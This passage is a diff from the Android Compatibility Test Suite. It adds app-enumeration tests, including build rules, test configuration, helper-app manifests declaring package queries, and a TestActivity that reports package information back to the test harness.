Event.SCREEN_NON_INTERACTIVE
diff --git a/tests/tests/appcomponentfactory/AndroidTest.xml b/tests/tests/appcomponentfactory/AndroidTest.xml
index c921218..69f5347 100644
--- a/tests/tests/appcomponentfactory/AndroidTest.xml
+++ b/tests/tests/appcomponentfactory/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="misc" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAppComponentFactoryTestCases.apk" />
diff --git a/tests/tests/appenumeration/Android.bp b/tests/tests/appenumeration/Android.bp
new file mode 100644
index 0000000..5bb2e24
--- /dev/null
+++ b/tests/tests/appenumeration/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsAppEnumerationTestCases",
+ defaults: ["cts_defaults"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ "androidx.test.ext.junit",
+ ],
+
+ srcs: ["src/**/*.java"],
+ sdk_version: "test_current",
+}
diff --git a/tests/tests/appenumeration/AndroidManifest.xml b/tests/tests/appenumeration/AndroidManifest.xml
new file mode 100644
index 0000000..7777a9f7
--- /dev/null
+++ b/tests/tests/appenumeration/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.cts">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.appenumeration.cts"
+ android:label="CTS tests for app enumeration">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
+
diff --git a/tests/tests/appenumeration/AndroidTest.xml b/tests/tests/appenumeration/AndroidTest.xml
new file mode 100644
index 0000000..662ace1
--- /dev/null
+++ b/tests/tests/appenumeration/AndroidTest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for app enumeration CTS test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+
+ <!-- Force service to be installed as non-instant mode, always -->
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsAppEnumerationTestCases.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationForceQueryable.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationFilters.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationNoApi.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationSharedUidSource.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationSharedUidTarget.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationQueriesNothing.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationQueriesActivityViaAction.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationQueriesServiceViaAction.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationQueriesProviderViaAuthority.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationQueriesUnexportedActivityViaAction.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationQueriesUnexportedServiceViaAction.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationQueriesUnexportedProviderViaAuthority.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationQueriesPackage.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationQueriesNothingTargetsQ.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationQueriesNothingHasPermission.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.appenumeration.cts" />
+ <option name="runtime-hint" value="12m30s" />
+ </test>
+</configuration>
diff --git a/tests/tests/appenumeration/OWNERS b/tests/tests/appenumeration/OWNERS
new file mode 100644
index 0000000..8a44fb2
--- /dev/null
+++ b/tests/tests/appenumeration/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 36137
+patb@google.com
+toddke@google.com
+chiuwinson@google.com
+rtmitchell@google.com
diff --git a/tests/tests/appenumeration/app/source/Android.bp b/tests/tests/appenumeration/app/source/Android.bp
new file mode 100644
index 0000000..1250634
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/Android.bp
@@ -0,0 +1,167 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsAppEnumerationQueriesNothing",
+ manifest: "AndroidManifest-queriesNothing.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationQueriesActivityViaAction",
+ manifest: "AndroidManifest-queriesActivityAction.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationQueriesServiceViaAction",
+ manifest: "AndroidManifest-queriesServiceAction.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationQueriesProviderViaAuthority",
+ manifest: "AndroidManifest-queriesProviderAuthority.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationQueriesUnexportedActivityViaAction",
+ manifest: "AndroidManifest-queriesUnexportedActivityAction.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationQueriesUnexportedServiceViaAction",
+ manifest: "AndroidManifest-queriesUnexportedServiceAction.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationQueriesUnexportedProviderViaAuthority",
+ manifest: "AndroidManifest-queriesUnexportedProviderAuthority.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationQueriesPackage",
+ manifest: "AndroidManifest-queriesPackage.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationQueriesNothingTargetsQ",
+ manifest: "AndroidManifest-queriesNothing-targetsQ.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationQueriesNothingHasPermission",
+ manifest: "AndroidManifest-queriesNothing-hasPermission.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationSharedUidSource",
+ manifest: "AndroidManifest-queriesNothing-sharedUser.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
\ No newline at end of file
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml
new file mode 100644
index 0000000..2eba524
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.activity.action">
+
+ <queries>
+ <intent>
+ <action android:name="android.appenumeration.action.ACTIVITY" />
+ </intent>
+ </queries>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml
new file mode 100644
index 0000000..09c75ae
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.nothing.haspermission">
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml
new file mode 100644
index 0000000..e98a98c
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.nothing.shareduid"
+ android:sharedUserId="android.appenumeration.shareduid">
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml
new file mode 100644
index 0000000..2810c87
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.nothing.q">
+ <uses-sdk android:targetSdkVersion="29" />
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml
new file mode 100644
index 0000000..ce56a77
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.nothing">
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml
new file mode 100644
index 0000000..d63d1d5
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.pkg">
+
+ <queries>
+ <package android:name="android.appenumeration.noapi" />
+ <package android:name="android.appenumeration.noapi.shareduid" />
+ </queries>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml
new file mode 100644
index 0000000..f75fefc
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.provider.authority">
+
+ <queries>
+ <intent>
+ <data android:scheme="content"
+ android:host="android.appenumeration.testapp" />
+ </intent>
+ </queries>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml
new file mode 100644
index 0000000..b451455
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.service.action">
+
+ <queries>
+ <intent>
+ <action android:name="android.appenumeration.action.SERVICE" />
+ </intent>
+ </queries>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml
new file mode 100644
index 0000000..cde61df
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.activity.action.unexported">
+
+ <queries>
+ <intent>
+ <action android:name="android.appenumeration.action.ACTIVITY_UNEXPORTED" />
+ </intent>
+ </queries>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml
new file mode 100644
index 0000000..2269ee9
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.provider.authority.unexported">
+
+ <queries>
+ <intent>
+ <data android:scheme="content"
+ android:host="android.appenumeration.testapp.unexported" />
+ </intent>
+ </queries>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml
new file mode 100644
index 0000000..26ef435
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.queries.service.action.unexported">
+
+ <queries>
+ <intent>
+ <action android:name="android.appenumeration.action.SERVICE_UNEXPORTED" />
+ </intent>
+ </queries>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.cts.query.TestActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
new file mode 100644
index 0000000..03b288d
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appenumeration.cts.query;
+
+import static android.content.Intent.EXTRA_RETURN_RESULT;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.util.ArrayMap;
+import android.util.Log;
+import android.util.SparseArray;
+
+import java.util.Random;
+
+public class TestActivity extends Activity {
+
+ SparseArray<RemoteCallback> callbacks = new SparseArray<>();
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ handleIntent(getIntent());
+ }
+
+ private void handleIntent(Intent intent) {
+ RemoteCallback remoteCallback = intent.getParcelableExtra("remoteCallback");
+ Bundle result = new Bundle();
+ final String action = intent.getAction();
+ final String packageName = intent.getStringExtra(
+ Intent.EXTRA_PACKAGE_NAME);
+ if ("android.appenumeration.cts.action.GET_PACKAGE_INFO".equals(action)) {
+ sendPackageInfo(remoteCallback, packageName);
+ } else if ("android.appenumeration.cts.action.START_FOR_RESULT".equals(action)) {
+ int requestCode = RESULT_FIRST_USER + callbacks.size();
+ callbacks.put(requestCode, remoteCallback);
+ startActivityForResult(
+ new Intent("android.appenumeration.cts.action.SEND_RESULT").setComponent(
+ new ComponentName(packageName, getClass().getCanonicalName())),
+ requestCode);
+ // don't send anything... await result callback
+ } else if ("android.appenumeration.cts.action.SEND_RESULT".equals(action)) {
+ try {
+ setResult(RESULT_OK,
+ getIntent().putExtra(
+ Intent.EXTRA_RETURN_RESULT,
+ getPackageManager().getPackageInfo(getCallingPackage(), 0)));
+ } catch (PackageManager.NameNotFoundException e) {
+ setResult(RESULT_FIRST_USER, new Intent().putExtra("error", e));
+ }
+ finish();
+ } else {
+ sendError(remoteCallback, new Exception("unknown action " + action));
+ }
+ }
+
+ private void sendError(RemoteCallback remoteCallback, Exception failure) {
+ Bundle result = new Bundle();
+ result.putSerializable("error", failure);
+ remoteCallback.sendResult(result);
+ finish();
+ }
+
+ private void sendPackageInfo(RemoteCallback remoteCallback, String packageName) {
+ final PackageInfo pi;
+ try {
+ pi = getPackageManager().getPackageInfo(packageName, 0);
+ } catch (PackageManager.NameNotFoundException e) {
+ sendError(remoteCallback, e);
+ return;
+ }
+ Bundle result = new Bundle();
+ result.putParcelable(EXTRA_RETURN_RESULT, pi);
+ remoteCallback.sendResult(result);
+ finish();
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ final RemoteCallback remoteCallback = callbacks.get(requestCode);
+ if (resultCode != RESULT_OK) {
+ Exception e = (Exception) data.getSerializableExtra("error");
+ sendError(remoteCallback, e == null ? new Exception("Result was " + resultCode) : e);
+ return;
+ }
+ final Bundle result = new Bundle();
+ result.putParcelable(EXTRA_RETURN_RESULT, data.getParcelableExtra(EXTRA_RETURN_RESULT));
+ remoteCallback.sendResult(result);
+ finish();
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/appenumeration/app/target/Android.bp b/tests/tests/appenumeration/app/target/Android.bp
new file mode 100644
index 0000000..54f6662
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/Android.bp
@@ -0,0 +1,69 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsAppEnumerationForceQueryable",
+ manifest: "AndroidManifest-forceQueryable.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
